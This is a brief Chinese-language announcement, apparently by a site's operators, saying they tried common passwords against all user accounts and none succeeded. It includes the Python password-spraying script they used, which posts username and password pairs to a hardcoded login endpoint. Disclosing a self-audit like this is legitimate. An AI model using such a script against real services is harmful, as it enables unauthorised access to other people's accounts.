为了保障 Sleeping Cup 用户的账户安全,我们于近日对所有账户用 15 个常见密码进行了登录尝试。

在测试中,没有任何用户的账号被成功登录,这表明各位用户的账号足够安全。

(作为对比,上次其实只尝试了 4 个密码。)

import requests
import time
count = 0
all = 0
def crack(username, password):
    if password == "":
        password = username
    login_url = 'http://8.136.99.126/login'
    session = requests.Session()
    payload = {'uname': username, 'password': password, 'rememberme': True}
    response = session.post(login_url, data = payload)
    if response.status_code == 200:
        print('\033[31mCracked!\033[0m')
        return 1
    else:
        print('\033[34mFailed. ({})\033[0m'.format(response.status_code))
        return 0
password = input()
print('\033[33mReady!\033[0m')
while True:
    username = input()
    if username == "":
        break
    all = all + 1
    count = count + crack(username, password)
print('\033[32mFinished! {} / {} user(s) cracked.\033[0m'.format(count, all))
input()

2 条评论

  • 1